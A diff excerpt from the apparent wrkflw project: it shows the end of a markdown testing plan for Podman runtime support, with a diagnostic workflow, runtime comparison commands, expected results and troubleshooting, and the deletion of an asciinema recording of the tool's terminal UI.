||||
jobs:
|
||||
test-all-features:
|
||||
runs-on: ubuntu-latest
|
||||
container: ubuntu:20.04
|
||||
env:
|
||||
JOB_VAR: "job-value"
|
||||
steps:
|
||||
- name: Environment test
|
||||
env:
|
||||
STEP_VAR: "step-value"
|
||||
run: |
|
||||
echo "=== Environment Variables ==="
|
||||
echo "GLOBAL_VAR: $GLOBAL_VAR"
|
||||
echo "JOB_VAR: $JOB_VAR"
|
||||
echo "STEP_VAR: $STEP_VAR"
|
||||
echo "GITHUB_WORKSPACE: $GITHUB_WORKSPACE"
|
||||
echo "GITHUB_REPOSITORY: $GITHUB_REPOSITORY"
|
||||
echo "RUNNER_OS: $RUNNER_OS"
|
||||
|
||||
- name: File system test
|
||||
run: |
|
||||
echo "=== File System Test ==="
|
||||
pwd
|
||||
ls -la
|
||||
whoami
|
||||
id
|
||||
df -h
|
||||
|
||||
- name: Network test
|
||||
run: |
|
||||
echo "=== Network Test ==="
|
||||
apt-get update -q
|
||||
apt-get install -y curl iputils-ping
|
||||
ping -c 3 8.8.8.8
|
||||
curl -s https://httpbin.org/ip
|
||||
|
||||
- name: Process test
|
||||
run: |
|
||||
echo "=== Process Test ==="
|
||||
ps aux
|
||||
top -b -n 1 | head -10
|
||||
|
||||
- name: Package installation test
|
||||
run: |
|
||||
echo "=== Package Test ==="
|
||||
apt-get install -y python3 python3-pip
|
||||
python3 --version
|
||||
pip3 --version' > comprehensive-test.yml
|
||||
```
|
||||
|
||||
#### 8.2 Run Comprehensive Test with All Runtimes
|
||||
```bash
|
||||
echo "Testing with Docker:"
|
||||
./target/release/wrkflw run --runtime docker --verbose comprehensive-test.yml > docker-test.log 2>&1
|
||||
|
||||
echo "Testing with Podman:"
|
||||
./target/release/wrkflw run --runtime podman --verbose comprehensive-test.yml > podman-test.log 2>&1
|
||||
|
||||
echo "Testing with Emulation:"
|
||||
./target/release/wrkflw run --runtime emulation --verbose comprehensive-test.yml > emulation-test.log 2>&1
|
||||
|
||||
# Compare results
|
||||
echo "=== Comparing Results ==="
|
||||
echo "Docker exit code: $?"
|
||||
echo "Podman exit code: $?"
|
||||
echo "Emulation exit code: $?"
|
||||
|
||||
# Optional: Compare log outputs
|
||||
diff docker-test.log podman-test.log | head -20
|
||||
```
|
||||
|
||||
## Expected Results Summary
|
||||
|
||||
### ✅ **Should Work:**
|
||||
- CLI accepts `--runtime podman` without errors
|
||||
- TUI cycles through Docker → Podman → Emulation with 'e' key
|
||||
- Status bar shows Podman availability correctly
|
||||
- Container execution works identically to Docker
|
||||
- Container cleanup respects preservation settings
|
||||
- Image pulling and basic image operations work
|
||||
- Environment variables are passed correctly
|
||||
- Volume mounting works for workspace access
|
||||
- Network connectivity is available in containers
|
||||
- Error handling is graceful and informative
|
||||
|
||||
### ⚠️ **Limitations to Expect:**
|
||||
- Some advanced Docker-specific features may not work identically
|
||||
- Performance characteristics may differ from Docker
|
||||
- Podman-specific configuration might be needed for complex scenarios
|
||||
- Error messages may differ between Docker and Podman
|
||||
|
||||
### 🚨 **Should Fail Gracefully:**
|
||||
- Invalid runtime selection should show clear error
|
||||
- Missing Podman should fall back to emulation with warning
|
||||
- Invalid container images should show helpful error messages
|
||||
- Network issues should be reported clearly
|
||||
|
||||
## Cleanup
|
||||
|
||||
After testing, clean up test files:
|
||||
```bash
|
||||
rm -f test-podman-workflow.yml test-fail-workflow.yml test-image-pull.yml
|
||||
rm -f test-custom-image.yml test-invalid-image.yml test-network.yml
|
||||
rm -f test-resources.yml comprehensive-test.yml
|
||||
rm -f docker-test.log podman-test.log emulation-test.log
|
||||
rm -rf test-build/
|
||||
podman system prune -f # Clean up unused containers and images
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Common Issues:
|
||||
|
||||
1. **"Podman not available"**
|
||||
- Verify Podman installation: `podman version`
|
||||
- Check Podman service: `podman machine list` (macOS/Windows)
|
||||
|
||||
2. **Permission errors**
|
||||
- Podman should work rootless by default
|
||||
- Check user namespaces: `podman unshare cat /proc/self/uid_map`
|
||||
|
||||
3. **Network issues**
|
||||
- Test basic connectivity: `podman run --rm ubuntu:20.04 ping -c 1 8.8.8.8`
|
||||
|
||||
4. **Container startup failures**
|
||||
- Check Podman logs: `podman logs <container-id>`
|
||||
- Verify image availability: `podman images`
|
||||
|
||||
This comprehensive testing plan should verify that Podman support is working correctly and help identify any issues that need to be addressed.
|
||||
639
trigger.cast
639
trigger.cast
@@ -1,639 +0,0 @@
|
||||
{"version": 2, "width": 245, "height": 61, "timestamp": 1745242822, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
|
||||
[0.369933, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[0.370465, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[0.371981, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[0.372532, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[K"]
|
||||
[0.37263, "o", "\u001b[?1h\u001b=\u001b[?2004h"]
|
||||
[0.411478, "o", "\r\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[1.550948, "o", "c"]
|
||||
[1.648718, "o", "\bca"]
|
||||
[1.930043, "o", "r"]
|
||||
[2.004758, "o", "g"]
|
||||
[2.093066, "o", "o"]
|
||||
[2.221195, "o", " "]
|
||||
[2.34551, "o", "r"]
|
||||
[2.610875, "o", "\u001b[?1l\u001b>"]
|
||||
[2.611051, "o", "\u001b[?2004l\r\r\n"]
|
||||
[2.612342, "o", "\u001b]2;cargo r\u0007\u001b]1;cargo\u0007"]
|
||||
[3.011223, "o", "\u001b[1m\u001b[32m Finished\u001b[0m `dev` profile [unoptimized + debuginfo] target(s) in 0.31s\r\n"]
|
||||
[3.018001, "o", "\u001b[1m\u001b[32m Running\u001b[0m `target/debug/wrkflw`\r\n"]
|
||||
[3.499534, "o", "⚠️ Docker is not available. Using emulation mode instead.\r\n"]
|
||||
[3.499748, "o", "\u001b[?1049h\u001b[?1000h\u001b[?1002h\u001b[?1003h\u001b[?1015h\u001b[?1006h"]
|
||||
[3.51282, "o", "\u001b[1;1H╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\u001b[1m\u001b[38;5;6m wrkflw \u001b[22m\u001b[39m──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[2;1H│\u001b[2;3H\u001b[1m\u001b[4m\u001b[38;5;3m\u001b[48;5;8mW\u001b[24morkflows\u001b[2;13H\u001b[22m\u001b[39m\u001b[49m|\u001b[2;15H\u001b[38;5;15mE\u001b[4m\u001b[38;5;3mx\u001b[24m\u001b[38;5;15mecution\u001b[2;25H\u001b[39m|\u001b[2;27H\u001b[4m\u001b[38;5;3mL\u001b[24m\u001b[38;5;15mogs\u001b[2;32H\u001b[39m|\u001b[2;34H\u001b[4m\u001b[38;5;3mH\u001b[24m\u001b[38;5;15melp\u001b[2;245H\u001b[39m│\u001b[3;1H╰─────"]
|
||||
[3.512956, "o", "──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[5;2H╭───────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[3.513059, "o", "──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[6;2H│\u001b[6;114H\u001b[1m\u001b[38;5;3mAvailable Workflows\u001b[6;244H\u001b[22m\u001b[39m│\u001b[7;2H╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[3.513163, "o", "─────────────────────────────────────────────────────────────────────╯\u001b[8;2H╭\u001b[38;5;3m Workflows \u001b[39m──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[9;2H│\u001b[1m \u001b[38;5;3m \u001b[39m \u001b[38;5;3mStat\u001b[39m \u001b[38;5;3mWorkflow Name "]
|
||||
[3.513203, "o", " \u001b[39m \u001b[38;5;3mPath \u001b[39m \u001b[22m│\u001b[10;2H│\u001b[1m\u001b[48;5;8m» \u001b[38;5;2m \u001b[39m \u001b[38;5;7m○ \u001b[39m build.yml \u001b[38;5;8m.github/workflows/build.yml \u001b[39m \u001b[22m\u001b[49m│\u001b[11;2H│\u001b[11;5H\u001b[38;5;2m \u001b[11;9H\u001b[38;5;7m○ \u001b[11;14H\u001b[39mrelease.yml\u001b[11;123H\u001b[38;5;8m.github/workflows/release.yml \u001b[11;244H\u001b[39m│\u001b[12;2H│\u001b[12;5H\u001b[38;5;2m \u001b[12;9H\u001b[38;5;7m○ \u001b[12;14H\u001b[39mrust.yml\u001b[12;123H\u001b[38;5;8m.github/workflows/rust.yml \u001b[12;244H\u001b[39m│\u001b[13;2H│\u001b[13;5H\u001b[38;5;2m \u001b[13;9H"]
|
||||
[3.51326, "o", "\u001b[38;5;7m○ \u001b[13;14H\u001b[39mtest.yml\u001b[13;123H\u001b[38;5;8m.github/workflows/test.yml \u001b[13;244H\u001b[39m│\u001b[14;2H│\u001b[14;244H│\u001b[15;2H│\u001b[15;244H│\u001b[16;2H│\u001b[16;244H│\u001b[17;2H│\u001b[17;244H│\u001b[18;2H│\u001b[18;244H│\u001b[19;2H│\u001b[19;244H│\u001b[20;2H│\u001b[20;244H│\u001b[21;2H│\u001b[21;244H│\u001b[22;2H│\u001b[22;244H│\u001b[23;2H│\u001b[23;244H│\u001b[24;2H│\u001b[24;244H│\u001b[25;2H│\u001b[25;244H│\u001b[26;2H│\u001b[26;244H│\u001b[27;2H│\u001b[27;244H│\u001b[28;2H│\u001b[28;244H│\u001b[29;2H│\u001b[29;244H│\u001b[30;2H│\u001b[30;244H│\u001b[31;2H│\u001b[31;244H│\u001b[32;2H│\u001b[32;244H│\u001b[33;2H│\u001b[33;244H│\u001b[34;2H│\u001b[34;244H│\u001b[35;2H│\u001b[35;244H│\u001b[36;2H│\u001b[36;244H│\u001b[37;2H│\u001b[37;244H│\u001b[38;2H│\u001b[38;244H│\u001b[39;2H│\u001b[39;244H│\u001b[40;2H│\u001b[40;244H│\u001b[41;2H│\u001b[41;244H│\u001b[42;2H│\u001b[42;244H│\u001b[43;2H│\u001b[43;244H│\u001b[44;2H│\u001b[44;244H│\u001b[45;2H│\u001b[45;244H│\u001b[46;2H│\u001b[46;244H│\u001b[47;2H│\u001b[47;244H│\u001b[48;2H│\u001b[48;244H│\u001b[49;2H│\u001b[49;244H│\u001b[50;2H│\u001b[50;244H│\u001b[51;2H│\u001b[51;244H│\u001b[52;2H"]
|
||||
[3.513332, "o", "│\u001b[52;244H│\u001b[53;2H│\u001b[53;244H│\u001b[54;2H│\u001b[54;244H│\u001b[55;2H│\u001b[55;244H│\u001b[56;2H│\u001b[56;244H│\u001b[57;2H│\u001b[57;244H│\u001b[58;2H╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[60;1H\u001b[38;5;15m\u001b[48;5;5m Emulation \u001b[39m\u001b[48;5;8m \u001b[38;5;0m\u001b[48;5;2m Execution \u001b[39m\u001b[48;5;8m \u001b[38;5;15m [Space] Toggle selection [Enter] Run selected [r] Ru"]
|
||||
[3.513386, "o", "n all selected [t] Trigger Workflow [Shift+R] Reset workflow \u001b[39m \u001b[38;5;15m [Tab] Switch tabs [?] Help [q] Quit \u001b[39m \u001b[61;1H \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[3.570208, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[3.627584, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[3.684858, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[3.74272, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[3.800457, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[3.857423, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[3.915247, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[3.972724, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.030423, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.087458, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.144501, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.201837, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.259335, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.317129, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.374685, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.432187, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.489688, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.547475, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.604884, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.661799, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.719002, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.776815, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.834188, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.891598, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[4.949321, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.006662, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.064522, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.122027, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.17958, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.237268, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.295056, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.35251, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.410147, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.421251, "o", "\u001b[10;3H \u001b[38;5;2m \u001b[39m \u001b[38;5;7m○ \u001b[39m build.yml \u001b[38;5;8m.github/workflows/build.yml \u001b[39m \u001b[11;3H\u001b[1m\u001b[48;5;8m» \u001b[38;5;2m \u001b[39m \u001b[38;5;7m○ \u001b[39m release.yml \u001b[38;5;8m.github/workflows/release.yml \u001b[39m \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.478361, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.535383, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.592444, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.6498, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.707057, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.764045, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.821323, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.843879, "o", "\u001b[11;3H \u001b[38;5;2m \u001b[39m \u001b[38;5;7m○ \u001b[39m release.yml \u001b[38;5;8m.github/workflows/release.yml \u001b[39m \u001b[12;3H\u001b[1m\u001b[48;5;8m» \u001b[38;5;2m \u001b[39m \u001b[38;5;7m○ \u001b[39m rust.yml \u001b[38;5;8m.github/workflows/rust.yml \u001b[39m \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.900942, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[5.957855, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.01462, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.072296, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.130219, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.187955, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.243471, "o", "\u001b[12;3H \u001b[38;5;2m \u001b[39m \u001b[38;5;7m○ \u001b[39m rust.yml \u001b[38;5;8m.github/workflows/rust.yml \u001b[39m \u001b[13;3H\u001b[1m\u001b[48;5;8m» \u001b[38;5;2m \u001b[39m \u001b[38;5;7m○ \u001b[39m test.yml \u001b[38;5;8m.github/workflows/test.yml \u001b[39m \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.300908, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.358665, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.416043, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.473755, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.531265, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.58826, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.64529, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.702413, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.75977, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.817171, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.874942, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.932189, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[6.98975, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.047169, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.104265, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.161989, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.219761, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.277364, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.334832, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.392468, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.449908, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.507224, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.564457, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.59989, "o", "\u001b[2;3H\u001b[4m\u001b[38;5;3mW\u001b[24m\u001b[38;5;15morkflows\u001b[2;15H\u001b[1m\u001b[38;5;3m\u001b[48;5;8mE\u001b[4mx\u001b[24mecution\u001b[4;1H\u001b[22m\u001b[39m\u001b[49m╭\u001b[38;5;3m Execution \u001b[39m────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[5;1H│ "]
|
||||
[7.599981, "o", " │\u001b[6;1H│ \u001b[6;105H\u001b[1m\u001b[38;5;3mNo workflow execution data available.\u001b[6;244H\u001b[22m\u001b[39m │\u001b[7;1H│ │\u001b[8;1H│ Select workflows in the Workflows tab and press 'r' to run them. │\u001b[9;1H│ │\u001b[10;1H│ \u001b[10;5H \u001b[10;9H \u001b[10;14H \u001b[10;95HOr\u001b[10;98Hpress\u001b[10;104HEnter\u001b[10;110Hon\u001b["]
|
||||
[7.600076, "o", "10;113Ha\u001b[10;115Hselected workflow to run it directly. \u001b[10;244H │\u001b[11;1H│ \u001b[11;5H \u001b[11;9H \u001b[11;14H \u001b[11;123H \u001b[11;244H │\u001b[12;1H│ \u001b[12;5H \u001b[12;9H \u001b[12;14H \u001b[12;91HYou\u001b[12;95Hcan\u001b[12;99Halso\u001b[12;104Hpress\u001b[12;110H't'\u001b[12;114Hto\u001b[12;117Htrigger a workflow on GitHub remotely. \u001b[12;244H │\u001b[13;1H│ │\u001b[14;1H│ \u001b[14;244H │\u001b[15;1H│ \u001b[15;244H │\u001b[16;1H│ \u001b[16;244H │\u001b[17;1H│ \u001b[17;244H │\u001b[18;1H│ \u001b[18;244H │\u001b[19;1H│ \u001b[19;244H │\u001b[20;1H│ \u001b[20;244H │\u001b[21;1H│ \u001b[21"]
|
||||
[7.600128, "o", ";244H │\u001b[22;1H│ \u001b[22;244H │\u001b[23;1H│ \u001b[23;244H │\u001b[24;1H│ \u001b[24;244H │\u001b[25;1H│ \u001b[25;244H │\u001b[26;1H│ \u001b[26;244H │\u001b[27;1H│ \u001b[27;244H │\u001b[28;1H│ \u001b[28;244H │\u001b[29;1H│ \u001b[29;244H │\u001b[30;1H│ \u001b[30;244H │\u001b[31;1H│ \u001b[31;244H │\u001b[32;1H│ \u001b[32;244H │\u001b[33;1H│ \u001b[33;244H │\u001b[34;1H│ \u001b[34;244H │\u001b[35;1H│ \u001b[35;244H │\u001b[36;1H│ \u001b[36;244H │\u001b[37;1H│ \u001b[37;244H │\u001b[38;1H│ \u001b[38;244H │\u001b[39;1H│ \u001b[39;244H │\u001b[40;1H│ \u001b[40;244H │\u001b[41;1H│ \u001b[41;244H │\u001b[42;1H│ \u001b[42;244H │\u001b[43;1H│ \u001b[43;244H │\u001b[44;1H│ \u001b[44;244H │\u001b[45;1H│ \u001b[45;244H │\u001b[46;1H│ \u001b[46;244H │\u001b[47;1H│ \u001b[47;244H │\u001b[48;1H│ \u001b[48;244H │\u001b[49;1H│ \u001b[49;244H │\u001b[50;1H│ \u001b[50;244H │\u001b[51;1H│ \u001b[51;244H │\u001b[52;1H│ \u001b[52;244H │\u001b[53;1H│ \u001b[53;244H │\u001b[54;1H│ \u001b[54;244H │\u001b[55;1H│ \u001b[55;244H │\u001b[56;1H│ \u001b[56;244H │\u001b[57;1H│ \u001b[57;244H │\u001b[58;1H│ "]
|
||||
[7.60019, "o", " │\u001b[59;1H╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[60;27H\u001b[38;5;15m\u001b[48;5;8mEnter\u001b[60;34HView details [↑/↓] Navigate jobs \u001b[39m \u001b[38;5;15m [Tab] Switch\u001b[60;84Htabs [?] Help\u001b[60;99H [q] Quit \u001b[39m "]
|
||||
[7.600251, "o", " \u001b[60;147H \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.655989, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.712394, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.769125, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.826248, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.883649, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.941762, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[7.99888, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.054968, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.112033, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.169353, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.22668, "o", "\u001b[4;1H \u001b[5;1H ╭\u001b[38;5;3m Workflow Information \u001b[39m───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ \u001b[6;1H │\u001b[38;5;4mWorkflow: \u001b[1m\u001b[38;5;15mtest.yml\u001b[6;105H\u001b[22m\u001b["]
|
||||
[8.226837, "o", "39m \u001b[6;244H│ \u001b[7;1H │\u001b[38;5;4mStatus: \u001b[38;5;2mSuccess\u001b[7;244H\u001b[39m│ \u001b[8;1H │\u001b[8;91H \u001b[8;98H \u001b[8;108H \u001b[8;111H \u001b[8;115H \u001b[8;125H \u001b[8;129H \u001b[8;133H \u001b[8;139H \u001b[8;143H \u001b[8;146H \u001b[8;150H \u001b[8;244H│ \u001b[9;1H ╰─\u001b[38;5;0m\u001b[48;5;2m 100% \u001b[39m\u001b[49m─╯ \u001b[10;1H ╭\u001b[38;5;3m Jobs \u001b[39m─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[8.226912, "o", "──────────────────────────────────────────────────────────────────────────────────────────────╮ \u001b[11;1H │\u001b[1m\u001b[48;5;8m» \u001b[38;5;2m✅\u001b[11;7H\u001b[39m \u001b[38;5;15mGitHub Trigger\u001b[39m \u001b[38;5;8m[1/1]\u001b[39m \u001b[22m\u001b[49m│ \u001b[12;1H │\u001b[12;91H \u001b[12;95H \u001b[12;99H \u001b[12;104H \u001b[12;110H \u001b[12;114H \u001b[12;117H \u001b[12;125H \u001b[12;127H \u001b[12;136H \u001b[12;139H \u001b[12;146H \u001b[12;244H│ \u001b[13;1H │\u001b[13;244H│ \u001b[14;1H │\u001b[14;244H│ \u001b[15;1H │\u001b[15;244H│ \u001b[16;1H │\u001b[16;244H│ \u001b[17;1H │\u001b[17;244H│ \u001b[18;1H │\u001b[18;244H│ \u001b[19;1H │\u001b[19;244H│ \u001b[20;1H │\u001b[20;244H│ \u001b[21;1H │\u001b[21;244H│ \u001b[22;1H "]
|
||||
[8.226997, "o", "│\u001b[22;244H│ \u001b[23;1H │\u001b[23;244H│ \u001b[24;1H │\u001b[24;244H│ \u001b[25;1H │\u001b[25;244H│ \u001b[26;1H │\u001b[26;244H│ \u001b[27;1H │\u001b[27;244H│ \u001b[28;1H │\u001b[28;244H│ \u001b[29;1H │\u001b[29;244H│ \u001b[30;1H │\u001b[30;244H│ \u001b[31;1H │\u001b[31;244H│ \u001b[32;1H │\u001b[32;244H│ \u001b[33;1H │\u001b[33;244H│ \u001b[34;1H │\u001b[34;244H│ \u001b[35;1H │\u001b[35;244H│ \u001b[36;1H │\u001b[36;244H│ \u001b[37;1H │\u001b[37;244H│ \u001b[38;1H │\u001b[38;244H│ \u001b[39;1H │\u001b[39;244H│ \u001b[40;1H │\u001b[40;244H│ \u001b[41;1H │\u001b[41;244H│ \u001b[42;1H │\u001b[42;244H│ \u001b[43;1H │\u001b[43;244H│ \u001b[44;1H │\u001b[44;244H│ \u001b[45;1H │\u001b[45;244H│ \u001b[46;1H │\u001b[46;244H│ \u001b[47;1H │\u001b[47;244H│ \u001b[48;1H │\u001b[48;244H│ \u001b[49;1H │\u001b[49;244H│ \u001b[50;1H │\u001b[50;244H│ \u001b[51;1H ╰────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[8.227046, "o", "─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ \u001b[52;1H ╭\u001b[38;5;3m Execution Information \u001b[39m───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
